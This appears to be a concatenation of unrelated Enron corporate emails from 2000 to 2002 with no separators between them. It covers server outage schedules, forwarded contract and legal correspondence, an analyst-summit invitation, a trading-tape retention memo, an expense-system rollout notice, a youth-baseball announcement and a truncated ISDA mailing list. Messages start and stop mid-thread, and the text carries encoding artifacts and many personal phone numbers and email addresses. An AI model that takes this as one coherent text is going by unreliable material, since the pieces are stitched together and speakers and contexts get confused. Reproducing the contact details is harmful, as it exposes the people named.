MESSAGING: 
Impact:  EES
Time:  Fri 10/19/2001 at  8:30:00 PM CT thru Fri 10/19/2001 at  11:30:00 PM CT
	Fri 10/19/2001 at  6:30:00 PM PT thru Fri 10/19/2001 at    9:30:00 PM PT
	Sat 10/20/2001 at  2:30:00 AM London thru Sat 10/20/2001 at  5:30:00 AM London
Outage:  EES Notes Server Reboots
Environments Impacted:  All users on any of the mailservers listed below
Purpose: Scheduled @ 2 week interval on 1st and the 3rd Friday of each month.
Backout: 
Contact(s): 	Dalak Malik    713-345-8219

Impact:  Corp Notes
Time:  Fri 10/19/2001 at  9:00:00 PM CT thru Sat 10/20/2001 at    1:00:00 AM CT
	Fri 10/19/2001 at  7:00:00 PM PT thru Fri 10/19/2001 at  11:00:00 PM PT
	Sat 10/20/2001 at  3:00:00 AM London thru Sat 10/20/2001 at  7:00:00 AM London
Outage:  cNotes Server Reboots
Purpose: Scheduled @ 2 week interval
Backout: Make sure server comes up.
Contact(s): 	Trey Rhodes  (713) 345-7792  
		    		    		   		
Impact:  EI
Outage:  EI Notes Server Maintenance
Environments Impacted:  EI Local/Domestic/Foreign Sites
Backout: N/A
Contact(s): 	David Ricafrente    713-646-7741
 
MARKET DATA: No Scheduled Outages.

NT: No Scheduled Outages.

OS/2:  No Scheduled Outages.

OTHER SYSTEMS: 
Impact:  SAP
Time:  Fri 10/19/2001 at  8:00:00 PM CT thru Sun 10/21/2001 at  8:00:00 AM CT
	Fri 10/19/2001 at  6:00:00 PM PT thru Sun 10/21/2001 at  6:00:00 AM PT
	Sat 10/20/2001 at  2:00:00 AM London thru Sun 10/21/2001 at  2:00:00 PM London
Outage:  Sombra upgrade and maintenance for ACTA server adcupkilo.
Environments Impacted:  ACTA
Purpose: Improve reliability with the new mirrored cache cpu module and protect against ecache parity bug.  Reconfigure the disk layout.
Backout: 
Fall back to old cpus
Restore the disk layout restore to old configuration
Contact(s): 	Malcolm Wells    713-345-3716
		    		    		
Time:  Fri 10/19/2001 at  8:00:00 PM thru Sun 10/21/2001 at  8:00:00 AM
Outage:  Sombra upgrade and maintenance for ACTA server adcupklima.
Purpose:  Improve reliability with the new mirrored cache cpu module and protect against ecache parity bug.  Reconfigure the disk layout.
Backout: Fall back to old cpus
Contact(s): 	Malcolm Wells   713-345-3716 		    		    		    				    		    		    				    		    		    				    		    		    		
Time:  Sat 10/20/2001 at    1:00:00 PM CT thru Sat 10/20/2001 at  5:00:00 PM CT
	Sat 10/20/2001 at  11:00:00 AM PT thru Sat 10/20/2001 at  3:00:00 PM PT
	Sat 10/20/2001 at  7:00:00 PM London thru Sat 10/20/2001 at  11:00:00 PM London
Outage:  Patching and reboot of app server quark.
Environments Impacted:  EnLighten
Purpose: Patching and reboot needed to address file system automount issues.
Backout: No back out.  Task has to be completed.
		    		    		    		
Time:  Sat 10/20/2001 at  12:00:00 PM CT thru Sat 10/20/2001 at  6:00:00 PM CT
	Sat 10/20/2001 at  10:00:00 AM PT thru Sat 10/20/2001 at  4:00:00 PM PT
	Sat 10/20/2001 at  6:00:00 PM London thru Sun 10/21/2001 at  12:00:00 AM London
Outage:  Sombra cpu upgrade for server neptune.
Environments Impacted:  TAGG
Purpose: Improve reliability with the new mirrored cache cpu module and protect against ecache parity bug.
Backout: regress to old boards
Contact(s): 	Malcolm Wells       713-345-3716

Time:  Sun 10/21/2001 at  10:00:00 AM CT thru Sun 10/21/2001 at    2:00:00 PM CT
	Sun 10/21/2001 at    8:00:00 AM PT thru Sun 10/21/2001 at  12:00:00 PM PT
	Sun 10/21/2001 at  4:00:00 PM London thru Sun 10/21/2001 at  8:00:00 PM London
Outage:  Memory upgrade for server emerald.
Environments Impacted:  CAS
Purpose: Add resources for growth and performance.
Backout: Pull new memory and reboot under the old configuration.
Contact(s): 	Malcolm Wells   713-345-3716 
		    		    		    		
Time:  Sat 10/20/2001 at  6:00:00 PM CT thru Sat 10/20/2001 at  9:00:00 PM CT
	Sat 10/20/2001 at  4:00:00 PM PT thru Sat 10/20/2001 at  7:00:00 PM PT
	Sun 10/21/2001 at  12:00:00 AM London thru Sun 10/21/2001 at  3:00:00 AM London
Outage:  Sombra cpu upgrade for server spectre.
Environments Impacted:  BOND / Global Products
Purpose:  Improve reliability with the new mirrored cache cpu module and protect against ecache parity bug
		    		    		    		
Time:  Sat 10/20/2001 at  6:00:00 PM CT thru Sun 10/21/2001 at  6:00:00 AM CT
	Sat 10/20/2001 at  4:00:00 PM PT thru Sun 10/21/2001 at  4:00:00 AM PT
	Sun 10/21/2001 at  12:00:00 AM London thru Sun 10/21/2001 at  12:00:00 PM London
Outage:  Test/Dev maintenance for multiple servers.
Environments Impacted:  All ENW test and dev environments
Purpose: General maintenance window for ENW Test and Development servers.  See the list below.
Backout: roll back to any original configuration.
 
SITARA:  No Scheduled Outages.

SUN/OSS SYSTEM: No Scheduled Outages.

TELEPHONY: 
Time:  Sat 10/20/2001 at  11:00:00 AM CT thru Sat 10/20/2001 at  12:00:00 PM CT
	Sat 10/20/2001 at    9:00:00 AM PT thru Sat 10/20/2001 at  10:00:00 AM PT
	Sat 10/20/2001 at  5:00:00 PM London thru Sat 10/20/2001 at  6:00:00 PM London
Outage:  Telephony Apps IP Switch Replacement
Purpose: Replace old 2924 switch (Token Ring config) with 2 new 2948s to minimize the exposure to critical telephony applications in the event of IP switch failure.  New switches can also be added to the Paging System.  Critical telephony applications currently sharing 1 switch include all voice mail.  Loss of network connectivity would prevent anyone from accessing their messages. 
Backout: Revert to old switches.
Contact(s): 	Rebecca Sutherland    713-345-7192
		Bruce Mikulski              713-853-7409
		George Nguyen            713-853-0691 
TERMINAL SERVER:  No Scheduled Outages.

UNIFY:  No Scheduled Outages.
 
SCHEDULED SYSTEM OUTAGES: LONDON 
Time:  Fri 10/19/2001 at  6:00:00 PM CT thru Sat 10/20/2001 at  9:00:00 PM CT
	Fri 10/19/2001 at  4:00:00 PM PT thru Sat 10/20/2001 at  7:00:00 PM PT
	Sat 10/20/2001 at  12:00:00 AM London thru Sun 10/21/2001 at  3:00:00 AM London
Outage:  Complete Powerdown of the London Office
Purpose: To complete the final works and testing to install a third generator in Enron House
Backout: Switch all equipment back on once power has been restored.
Contact(s): 	Tracy Pearson   830-34238 London Tie Line 
 
-----------------------------------------------------------------------------------------------------------------------------
								FOR ASSISTANCE

(713) 853-1411   Enron Resolution Center

Specific Help:
Information Risk Management			(713) 853-5536
SAP/ISC                                                                               (713) 345-4727
Unify On-Call 					(713) 284-3757  [Pager]
Sitara On-Call					(713) 288-0101  [Pager]
RUS/GOPS/GeoTools/APRS			(713) 639-9726  [Pager]
OSS/UA4/TARP				(713) 285-3165  [Pager]
CPR						(713) 284-4175  [Pager]
EDI Support 					(713) 327-3893  [Pager]
EES Help Desk					(713)853-9797 OR (888)853-9797
TDS -Trader Decision Support On-Call                    (713) 327-6032 [Pager]

Please prepare a fed ex package to go out tonight, as described below.  Also, 
please prepare a transmittal letter to Heather for me to sign.

Thanks,

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 10/24/2000 12:27 
PM ---------------------------

Heather Kroll@ECT
10/24/2000 11:40 AM
To: Kay Mann/Corp/Enron@Enron
cc:  

Subject: CRRA LOU

Kay,

As I said in my voice mail, please print out executable copies of the CRRA 
LOU with your CKM initial.  We are going to see Bob Wright tomorrow and if he 
has no further changes we can get the documents signed.

Please FedEx them to our attorney's office in Hartford:

Heather Kroll/Jeff Ader
c/o Paul McCary
Murtha, Cullina, Richter and Pinney
Cityplace I
185 Asylum Street
Hartford, CT  06103-3469

860.240.6037

We'll be there by 11:00 (enough time to sleep in a little bit), so 10:00 
delivery is perfect.

Also, if you will send the fuel cell document to swanita_99, I will make sure 
I download it and review before seeing Jerry tomorrow night.

Thanks!  Call me on my cell if you need anything.

I'll let you know if anything interesting happens at The Mark Bar or on 
Channel 35 (gotta' love PBS).

Heather

FYI.
PL

---------------------- Forwarded by Phillip M Love/HOU/ECT on 05/11/2001 
03:18 PM ---------------------------
From: Ashley Kerr@EES on 05/11/2001 11:31 AM
To: Phillip M Love/HOU/ECT@ECT
cc:  
Subject: jobs

Hi - I would also recommend that Jeremy look at the Enron webite for Job 
postings - if there is a particular job(s) he is interested in - have him 
forward the job number so i can try and get his resume to the correct 
recruiting team..... thanks...

A Dialogue with Frost & Sullivan's Senior Industry Analyst, Energy Markets 
 &
 Industry Analyst and Program Lead, Telecom and Bandwidth Services
Thursday, November 1st 
eSource is pleased to host our first Analyst Summit  to share insights into the Energy and Telecom/Bandwidth Markets   

Please join

Patti Harper-Slaboszewicz, Senior Industry Analyst, Energy Markets
&
    Rod Woodward,  Industry Analyst, Telecom Services &  Program Lead, Wholesale Services
He has authored a report on U.S. Bandwidth Services (Trading/Brokering/Online Exchanges) 
Download report for free at http://esource.enron.com/hot_topics.asp

at      3:30 - 5:30 PM     EB 5C2   
	Each presentation will last 35 minutes with 20 minutes Q&A 	
Agenda - Energy   3:30-4:30
?	Frost & Sullivan capabilities - 10 minutes 
?	Energy speaker: New Region Challenges for Retail Electric Providers - 25 minutes
	Development of transactional capability
	Acquiring customers
	Quick survey of offers online in ERCOT region
	Rate offerings will be limited by current meter capabilities
	ERCOT Retail Providers
	Forecasting load
?	Questions & Answers - 20 minutes 

	Agenda - Telecom/Broadband   4:30-5:30
?	Frost & Sullivan capabilities - 10 minutes
?	Telecom/Broadband speaker: Industry Insights - 25 minutes
Role of "Utilicom"/Energy providers in telecom
Overall wholesale market perspective 
Overview of data services market 
Insight and update on bandwidth trading services
?	Questions & Answers 20 minutes 

Please RSVP to Stephanie E. Taylor at 5-7928	

RESCHEDULED FROM 3-4. 

The estate has been requested to report on the current status & going forward responsibility for marking of curves  -  specifically regarding completeness, timeliness and responsible personnel.  PwC has compiled a preliminary report based on their meetings with you and/or your teams.  Please attend tomorrow's meeting to confirm the preliminary report data and answer additional questions.

How does this process usually start?
----- Forwarded by Mark Taylor/HOU/ECT on 04/10/2001 04:15 PM -----

	Jeffrey T Hodge
	04/10/2001 01:42 PM
		 
		 To: Mark Taylor/HOU/ECT@ECT
		 cc: 
		 Subject: Master Swap Agreement

Mark:

I think this falls in your area.

Jeff
----- Forwarded by Jeffrey T Hodge/HOU/ECT on 04/10/2001 01:41 PM -----

	John Swafford/ENRON@enronXgate
	04/06/2001 01:08 PM
		 
		 To: Jeffrey T Hodge/HOU/ECT@ECT
		 cc: Troy Klussmann/ENRON@enronXgate, Rhett Jackson/ENRON@enronXgate, Greg 
Whiting/ENRON@enronXgate

Jeff:   As we discussed, ENA Upstream Company, LLC will be trading wellhead 
gas and will need to hedge its risks with Risk Management Trading ("RMT").   
Accordingly, ENA Upstream needs to enter into a Master Swap Agreement with 
RMT.   This ENA Upstream/RMT Master Swap Agreement will have term and 
conditions similar to the current ENA/RMT Master Swap Agreement.   Would you 
please have someone in your group draft the ENA Upstream/RMT Master Swap 
Agreement.   ENA Upstream has begun trading and needs to be this agreement in 
place as soon as conveniently possible.   Please let me know if you have 
questions or need additional information.   Thanks, John.  

Haha - definitely not!

From: 	Thode, Eric  
Sent:	Monday, October 01, 2001 10:14 AM
Subject:	RE: Fortune

You mean I can't put it in the EnTouch!  It isn't cross company, so it doesn't require approval.

Eric

From: 	Kitchen, Louise  
Sent:	Monday, October 01, 2001 10:00 AM
To:	Thode, Eric

Let's hope no-one else notices.  Let's make sure no-one does anything internally so people notice it.

Thanks

Sent:	Monday, October 01, 2001 9:40 AM
Subject:	Fortune

Here's the Fortune link...

http://www.fortune.com/indexw.jhtml?channel=list.jhtml&list_frag=list_5columns_powerwomen.jhtml&list=22&_requestid=3612 

I will be out of the office at a seminar on Thursday and Friday of this week.

From: Benninger, David [mailto:DBenninger@reliant.com]
Sent: Thursday, January 24, 2002 1:13 PM
To: Aaron Croley; abiassi; Adam Harmon; Alan Clayton; Alan Colyer
(E-mail); Alden Hurst; Alex Erhardt; Andrew Hadley; Ashton Fetzer;
Austin Read; Ben Dougherty; Ben Gregg; Ben Orlean; Bill Burge; Billy
Eiser; Brendan Cazier; Butch Butcher (E-mail); Carl Carameros (E-mail);
Christian Delouche; Clint Simpson (E-mail); Colin Brown; Colton Neal;
Cooper Day (E-mail); David Benninger (E-mail); Drew Rino; Dye Jamie; Ed
Colquitt; Eric Larsen; Ethan Miller; Grant Goodland; Grant Lund; Greer
McCord; Hayden Barnett; Hippard Greer; Jackson Hart; Jake Simpson; Jimmy
Daggett (E-mail); John Davis; John Gentry; John Spafford; Johnathan
Slezman; Jonathan Davis; Jordan Trout; Josh Weatherall; Keith Janes
(E-mail); Kyle Johnson; Lee Mitchell (E-mail); Lee Moore (E-mail); Lew
TenHave (E-mail); Luke Hillin; Marshall Settegast; Matt Cragg; Matt
McKellar; Matt Stubbs; Matthew Hays; Michael Kelly; Michael Mandola;
Michael Walker; Mike Gibson; miller; Murphy Graham (E-mail); Patrick
Reilly; Patronella, Mary Sue; Peter King; Philip Turpin; Randy Brann
(E-mail); Randy Jones (E-mail); Renay Orellana; Rob Smith (E-mail); Rod
Wiggins (E-mail); Ron Hancock (E-mail); Russell Ford; Sam Christopher;
Sam Hassell; Sam Taylor; Sandor Kato; Scott Erickson; Sean Bowman;
Sebastian Arnold; Stehr-Work (E-mail); Stephen Hall; Taylor Enis; Taylor
Patton; Thomas Deskin; Tommy Kellagher; Tommy Wilson (E-mail); Trenten
Moore; Troy Utz; Wade Jones; Whitmire; Will Owen; Zach Smith
Subject: Westchester Peewee Baseball Warm-up

Dear PeeWee Baseball '02 Player:

It's hard to believe that the 2002 SBMSA Baseball season is just around
the corner, but it is!  This year's Skills Evaluations for Westchester
PeeWees (3rd and 4th grades) will be held at the Spring Forest fields on
Saturday and Sunday, February 2nd and 3rd.  More information on this
will be telephoned to each player early next week that will detail the
exact time to show-up.  For those of us, however, that are in need of a
little "warm-up" before the evaluations, informal batting practice
(machine) and fielding drills will be going on next Wednesday and
Thursday (Jan 30 and 31st) at the Spring Forest fields from 6 - 8 pm.
To participate, come by either day (or both) with your glove, bat and
batting helmet.

See you next week,

David Benninger
Westchester PeeWee Commissioner
713/207-1329 (w)
713/984-1572 (h)

Attached is a redline against the present Take Over LD section of Rev 5 of GE 
world hunger.   I made the changes based on what we have done in ARCOS. They 
are not the same because in ARCOS GE has the full testing program within 
their Commisssioning Period since they have the power island which is 1200 MW 
with the Purchaser having 24 MW for aux loads.

I do not think that my new subparagraph (K) works.  I have left it there to 
see if anyone else can tweak it and make it work.  I am trying to get GE on 
the hook for acceleration costs that we incur and still beat the Time for 
Completion.  We did not do that in Arcos since GE's time in theory is the 
same as the contractors.

Probably merits an internal discussion before sharing with GE.

Rain,

Please forward to the traders.

thanks
---------------------- Forwarded by Hunter S Shively/HOU/ECT on 09/28/2000 
05:24 PM ---------------------------
From: Mark E Haedicke on 09/27/2000 05:17 PM
Sent by: Janette Elbertson
To: Tim Belden/HOU/ECT@ECT, Kevin M Presto/HOU/ECT@ECT, John 
Arnold/HOU/ECT@ECT, Scott Neal/HOU/ECT@ECT, Hunter S Shively/HOU/ECT@ECT, 
Phillip K Allen/HOU/ECT@ECT, Janet R Dietrich/HOU/ECT@ECT, Christopher F 
Calger/PDX/ECT@ECT, W David Duran/HOU/ECT@ECT, Raymond Bowen/HOU/ECT@ECT, 
Jeff Donahue/HOU/ECT@ECT, Brian Redmond/HOU/ECT@ECT, C John 
Thompson/Corp/Enron@ENRON, Scott Josey/Corp/Enron@ENRON, Rob 
Milnthorp/CAL/ECT@ECT, Max Yzaguirre/NA/Enron@ENRON, Beth 
Perlman/HOU/ECT@ECT, Wes Colwell/HOU/ECT@ECT, Sally Beck/HOU/ECT@ECT, David 
Oxley/HOU/ECT@ECT, Joseph Deffner/HOU/ECT@ECT, Jordan Mintz/HOU/ECT@ECT, 
Jeffrey A Shankman/HOU/ECT@ECT, Philippe A Bibi/HOU/ECT@ECT, Greg 
Wolfe/HOU/ECT@ECT, Fred Lagrasta/HOU/ECT@ECT, Edward D Baughman/HOU/ECT@ECT, 
Bob Crane/HOU/ECT@ECT, Robert Knight/HOU/ECT@ECT, Colleen Sullivan/HOU/ECT@ECT
cc: Mollie Gustafson/PDX/ECT@ECT, Felicia Doan/HOU/ECT@ECT, Ina 
Rangel/HOU/ECT@ECT, Kimberly Brown/HOU/ECT@ECT, Airam Arteaga/HOU/ECT@ECT, 
Christy Chapman/HOU/ECT@ECT, Tina Rode/HOU/ECT@ECT, Marsha 
Schiller/HOU/ECT@ECT, Lillian Carroll/HOU/ECT@ECT, Tonai 
Lehr/Corp/Enron@ENRON, Nicole Mayer/HOU/ECT@ECT, Darlene C 
Forsyth/HOU/ECT@ECT, Angela McCulloch/CAL/ECT@ECT, Jennifer 
Burns/HOU/ECT@ECT, Pilar Cerezo/NA/Enron@ENRON, Cherylene R 
Westbrook/HOU/ECT@ECT, Shirley Tijerina/Corp/Enron@ENRON, Nicki 
Daw/NA/Enron@Enron, Kimberly Hillis/HOU/ECT@ect, Patti Thompson/HOU/ECT@ECT, 
Tammy R Shepperd/HOU/ECT@ECT, Debra Davidson/PDX/ECT@ECT, Peggy 
McCurley/HOU/ECT@ECT, Jewell Wade/NA/Enron@Enron, Debra Davidson/PDX/ECT@ECT, 
Becky Young/NA/Enron@Enron 
Subject: Retention Policy on Trading Tapes

Effective October 15, 2000, the retention period on tape recordings of trades 
done by telephone will be reduced from four months to one month.  The tapes 
regarding significant transactions may be retained for such longer period as 
approved in writing by both the Head Trader and the General Counsel.  Please 
propose those significant transactions on which you may wish to retain the 
tapes, prior to October 15, 2000, since the tapes on conversations older than 
one month (except with respect to litigation matters) will be destroyed on 
that date.  If you have any questions, please contact Mark Haedicke or 
Richard Sanders. 

John Lavorato and Mark Haedicke

Mike:
Here is a list  of deals I have worked on for the first half of 2000.  Please 
let me know if you need any other information.  Thanks!
Ben

You're right - I'm changing the deal right now.

Thanks,
Kate

Evelyn Metoyer@ENRON
12/19/2000 01:01 PM
To: Kate Symes/PDX/ECT@ECT
cc:  

Subject: 12-19-00 discrepancies

Mike Swerzbin
deal 482593
Prebon shows term as Cal'02 instead of Cal'01

Thanks!!

Over the next several months Enron will be phasing in a new expense-reporti=
ng=20
product, Concur Technologies=01, Expense Management System (XMS).  You will=
 be=20
able to prepare your expense report, send it for approval, and transmit it=
=20
for payment using the Intranet.  It will be far more user-friendly than the=
=20
Excel-based form currently in use and will provide a truly paperless=20
process.  In addition, the system efficiently integrates with the SAP=20
accounting system. =20

On October 16, employees who used a prior version of the product upgraded t=
o=20
the most current release.  On October 30, it will be available to Enron Cor=
p=20
employees, Company 0011.  The rollout to other groups will continue through=
=20
January 2001.  Rollout announcements will be made to each business unit.=20

In Houston, IT Central will provide four training sessions per week. To=20
enroll in a class go to itcentral.enron.com and click on=20
Services>Training>Schedules. Those in outlying locations and those who pref=
er=20
on-line training can use LEAP by signing on to sap.enron.com and clicking o=
n=20
Training, then LEAP.  Use xms (lower case) as the User ID and Password. =20

We are excited about this new system and hope you will find it useful.  If=
=20
you have questions regarding its use contact IT Central at (713) 345-4727 o=
r=20
visit their website.

Gentlemen:

Attached is a draft of the facility agreement, without reference to WestLB.  
It just came in, so I haven't reviewed it.  

It looks like 330 tomorrow will work for this group, unless you tell me 
otherwise.  I'll get back to you with the location.

Kay
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/01/2000 03:04 

"Cope, Lori" <loricope@akllp.com> on 11/01/2000 03:00:50 PM
To: "Kay Mann (E-mail)" <Kay.Mann@Enron.com>
cc:  

Subject: GE Contract

Enclosed please find clean and blacklined versions of the GE Contract.
The blackline of the Agreement identifies the changes from the draft I
sent you. Note that no blackline of the Exhibits was necessary because
it contained no references to WestLB.
Regards,
Paul

 <<HOU_554886_3.DOC>>  <<BL554888.DOC>>  <<HOU_554888_4.DOC>>
Paul J. Pipitone
Andrews & Kurth L.L.P.
4200 Chase Tower
600 Travis
Houston, Texas  77002
Phone: 713-220-4101
Fax:  713-238-7176
ppipitone@andrews-kurth.com

The information contained in this e-mail message is legally privileged
and confidential information intended only for the use of the
recipient(s) named above.  If the reader of this e-mail is not an
intended recipient, you have received this e-mail in error and any
review, dissemination, distribution or copying is strictly prohibited.
If you have received this e-mail in error,  please notify the sender
immediately by return e-mail and permanently delete the copy you
received.

Thank you.

 - HOU_554886_3.DOC
 - BL554888.DOC
 - HOU_554888_4.DOC

Revised draft.  Changes to matrix Section 4.5.    Rating  "BBB" deleted.

i think there is no prep 4 thurs
those other asgnts were dropped
hope u had fun in mexico
thanks 4 the files
- cv

Carolyn M. Vavrek
Manager - Human Capital Advisory Services
Deloitte & Touche
50 Fremont Street
San Francisco, CA  94105

phone: 415-783-5137
fax: 415-783-8760
e-mail: cvavrek@deloitte.com

From: Jeff.Dasovich@enron.com [mailto:Jeff.Dasovich@enron.com]
Sent: Wednesday, April 04, 2001 10:27 AM
To: Jeff.Dasovich@enron.com
Cc: Anil Sama; Vavrek, Carolyn (US - San Francisco);
Jeff.Dasovich@enron.com; Jeff_Dasovich@enron.com; Mark Guinney
Subject: Assignment for Thursday

Greetings:

Are we supposed to do the reading and the Oracle and Legal Services cases
for Thursday?  Syllabus says yes, but I gather from Tasker's Izio not that
we'll be in the computer center all class doing modeling.  (I'd email her,
but she doesn't get my emails apparently.)  Anyone have a clue?

Best,
Jeff

This message (including any attachments) contains confidential information
intended for a specific individual and purpose, and is protected by law.  If
you are not the intended recipient, you should delete this message and are
hereby notified that any disclosure, copying, or distribution of this
message, or the taking of any action based on it, is strictly prohibited.

Please note, I do not have a contact list for European End-User/Risk-Takers
per se.  Therefore, please contact me if you wish to participate in our
sub-group.

From: Scott Marra [mailto:SMARRA@isda.org]
Sent: Tuesday, May 22, 2001 1:20 AM
To: 'bill.krameer@abnamro.com'; 'chris.leberne@ap.abnamro.com';
'debbiegdm@absa.co.za'; 'richard.williams@ants.co.uk';
'deborah.aschheim@ace-ina.com'; Norie Bregman; Bob Coors; Karen Garry;
Eric Rothman; David Benton; Daniel Cunningham;
'chin.chong.liew@allenovery.com'; 'david.wainer@allenovery.com';
'philippa.m.howley@aib.ie'; 'pmckee@ambac.com'; 'cparker@ambac-uk.com';
'mschozer@ambac.com'; 'heasleyt@anz.com'; 'porteoug@anz.com';
'Ernst.Decker@BHF-BANK.com'; 'Juergen.Ziebe@BHF-BANK.com';
'iona.levine@bakernet.com'; 'rdesantis@bci.it'; 'pgribaudi@bci.it';
'fcaputo@bci.it'; 'carla.wyckmans@bbl.be'; 'hweissler@hapoalimusa.com';
'rick.e.briggs@ncmi.com'; 'danc@ncmi.com';
'chris.flosi@bankofamerica.com'; 'douglas.kerridge@bankofamerica.com';
'robert.g.lendino@bankofamerica.com';
'scott.vanhatten@bankofamerica.com'; 'terry.watson@bankamerica.com';
'rickp@ncmi.com'; 'rbrady@bankofny.com'; 'azeem.kassam@scotiabank.com';
'rasheed_saleuddin@scotiacapital.com'; 'crietscha@btmna.com';
'mirko.berner@ib.bankgesellschaft.de';
'abradwell@ibuk.bankgesellschaft.de';
'rburley@ibuk.bankgesellschaft.de';
'Joseph.Carrico@ib.bankgesellschaft.de';
'henning.gravlev@ib.bankgesellschaft.de';
'james.lettiere@bnpparibas.com'; 'gaynor.wood@bnpgroup.com';
'guy.dempsey@barcap.com'; 'Christopher.Eddy@barclayscapital.com';
'melisa.macdonagh@barcap.com'; Jess Saypoff; David Wysoki;
'richard_cerick@hvbamericas.com'; 'ulrich.parche@hypovereinsbank.de';
'marshall_terry@hvbamericas.com'; 'ilse-karolina.binder@blb.de';
'eberhard.marsch@blb.de'; 'frommer@bear.com'; 'bfuqua@bear.com';
'aliberatore@bear.com'; 'edubois@cdcixis-cm.com';
'george.francois@us.cibc.com'; 'gina.ghent@us.cibc.com';
'john.pearson@cibc.ca'; 'wendy.rogers@cibc.co.uk';
'rozarioj@us.cibc.com'; 'nmathews@cwt.com'; 'rshirazi@cwt.com';
'lary.stromfeld@cwt.com'; 'marjorie.gross@chase.com';
'deborah.hooper@chase.com'; Frank Ronan; 'blake.titrud@chase.com';
'christina.villa@chase.com'; 'john.vollkommer@chase.com';
'pinar.yetgin@chase.com'; 'susan.furman@citadelgroup.com';
'andrew.w.alter@ssmb.com'; 'donald.bendernagel@ssmb.com';
'scott.l.flood@ssmb.com'; 'steven.j.keltz@ssmb.com';
'lisa.b.rothenberg@ssmb.com'; 'sumit.roy@ssmb.com';
'claude.brown@cliffordchance.com'; 'claire.exum@cliffordchance.com';
'nancy.jacklin@cliffordchance.com'; 'kimberly.loepp@cliffordchance.com';
'habib.motani@cliffordchance.com';
'michelle.pfeiffenberger@cliffordchance.c';
'tina.woo@cliffordchance.com'; 'david.yeres@cliffordchance.com';
'greg.haynes@commerzbankib.com'; 'jean-claude_zerey@commerzbank.com';
'cberkowi@us.ca-indosuez.com'; 'frederic.braun@indosuez.com';
'alec.cohen@creditlyonnais.co.uk'; 'paul.chu@csfb.com';
'simon.davidson@csfb.com'; 'andrew.downes@csfb.com';
'susanne.dunn@csfb.com'; 'john.gatsos@csfb.com'; 'stacy.gevas@csfb.com';
'allegra.kelly@csfb.com'; 'christine.knight@csfb.com';
'hc.lee@csfb.com'; 'barbara.nottebohm@csfb.com';
'helen.oldfield@csfb.com'; 'jeanette.whomersley@csfb.com';
'john@creditex.com'; 'heide_bachstaedter@dgbank.de';
'claudia.rosemann@dgzbank.de'; 'ruhe@danskebank.dk';
'blim@debevoise.com'; 'JEG@dentonwildesapte.com';
'katherine.andrews@db.com'; 'peter.beck@db.com';
'alessandro.cocco@db.com'; 'francis.dickinson@db.com';
'roger.ehrenberg@db.com'; 'jean.fudjinski@db.com';
'chip.goodrich@db.com'; 'angie.montalvo@db.com'; 'nathan.muller@db.com';
Dave Petersen; 'robert.m.spielman@db.com'; 'fabia.warlix@db.com';
'lklein@deweyballantine.com'; 'chandraleka.bhargavan@dresdner-bank.com';
Mark Haedicke; 'denis.o'connell@enron.com'; 'richard.gonseth@ey.com';
'susanne.boewing@erstebank.at'; 'n.barr@eib.org'; 'rmccaw@ecgd.gov.uk';
'dbegley@fhlbatl.com'; 'gu1@ffwlaw.com'; Mary Lou Guttmann;
'raross@bkb.com'; 'brance@freshfields.com'; 'rwhitacre@garban.com';
'alan.green@gecapital.com'; 'cgeorgi@genre.com'; 'rmurphy@genre.com';
'acf@gide.fr'; 'duhamel@gide.fr'; 'tricia.bowden@gs.com';
'john.cieslowski@gs.com'; 'david.geen@gs.com'; 'charlene.kuo@gs.com';
Bob Mancini; 'tom.riggs@gs.com'; 'chandra.sinnathuray@gs.com';
'derek.smith@gs.com'; 'tim.j.allen@hsbcgroup.com';
'nobby.clark@hsbcgroup.com'; 'cecile.hollevoet@us.hsbc.com';
'michael_boehm@trinkaus.de'; 'constantyn.nieuwenhuis@hamburglb.de';
'mpeeters@houthoff.nl'; 'levinec@hugheshubbard.com';
'jeff.kushner@ing-barings.com'; 'michael.srba@ing-barings.com'; John
Berry; Nellie Lim; Angela Papesch; 'seema_bal@ipicorp.com';
'ptrollip@investec.co.za'; 'adams_jon@jpmorgan.com'; Mark Brickell;
'lewis_david@jpmorgan.com'; 'masters_blythe@jpmorgan.com';
'nittenberg_ronald@jpmorgan.com'; 'schaffer_carl@jpmorgan.com';
'thompson_don@jpmorgan.com'; 'xistris_demetrios@jpmorgan.com';
'enalbantian@jonesday.com'; 'andrew.dominus@kbcfp.com';
'veerle.vercaigne@kbc.be'; 'tansinliang@khattarwong.com';
'thomas.bulgrin@kfw.de'; 'andreas.kinzelbach@lbbw.de';
'gernot.becker@helaba.de'; 'beatrix.goebel@helaba.de';
'paul.condon@lrp.de'; 'gkieslin@lehman.com'; 'bmcgowan@lehman.com';
'cmordas@lehman.com'; 'hpilley@linklaters.com';
'deepak.sitlani@linklaters.com'; 'jsummers@lsta.org';
'laurence.garside@lovells.com'; 'edward.kerr@msj.com.au';
'psadro@maplepartners.com'; 'judith.lawless@mccann-fitzgerald.ie';
'atkinric@filon.ml.com'; 'bbarrett@exchange.ml.com';
'larry_dobosh@ml.com'; 'bradl@ml.com'; 'srp@exchange.ml.com';
'sean_tiwari@ml.com'; 'hermann_watzinger@ml.com';
'robert_webster@ml.com'; 'jwalker@milbank.com'; 'jwarbey@milbank.com';
'ebo.coleman@moodys.com'; 'craig.abruzzo@msdw.com';
'gurjinder.bassi@msdw.com'; 'jonathan.dorfman@morganstanley.com';
'epstein@ms.com'; 'simon.freitag@msdw.com';
'chris.goodlad@morganstanley.com'; 'james.hill@msdw.com';
'aronj@ms.com'; 'Joan.Ma@msdw.com'; 'stephen.o'connor@msdw.com';
'julie.oneill@msdw.com'; 'philipsm@ms.com'; 'thomasa@ms.com';
'william.thum@morganstanley.com'; 'terrence.yang@msdw.com';
'ujahn@morganlewis.com'; 'mrodgon@morganlewis.com';
'cameron.munro@eu.nabgroup.com'; 'mark.stone@eu.nabgroup.com';
'francois.bourassa@bnc.ca'; 'robert.daniell@nomura.co.uk';
'tom.oriordan@nomura.co.uk'; Tom Salatte; 'maria.spinelli@nordlb.com';
'hendersonsk@nortonrose.com'; 'iversena@nortonrose.com';
'somerb@nortonrose.com'; 'g.neville@nyc.rabobank.com';
'pratleyz@rabo-bank.com'; 'ejung@refco.com'; 'susan.heard@rbcds.com';
'emily.jelich@royalbank.com'; 'peter.nowell@rbcds.com';
'Renuka.Abeysinghe@rbos.com'; 'alex.bouchier@rbos.com';
'liz.goodman@rbos.com'; 'mercerl@rbos.co.uk';
'alberto.ruano@sjberwin.com'; 'wplayle@sanwaint.com';
'dparisi@shearman.com'; 'hwest@shearman.com';
'jbauman@primusguaranty.com'; 'ccarlon@sidley.com';
'adalton@sidley.com'; 'aglass@sidley.com'; 'mgreenbe@sidley.com';
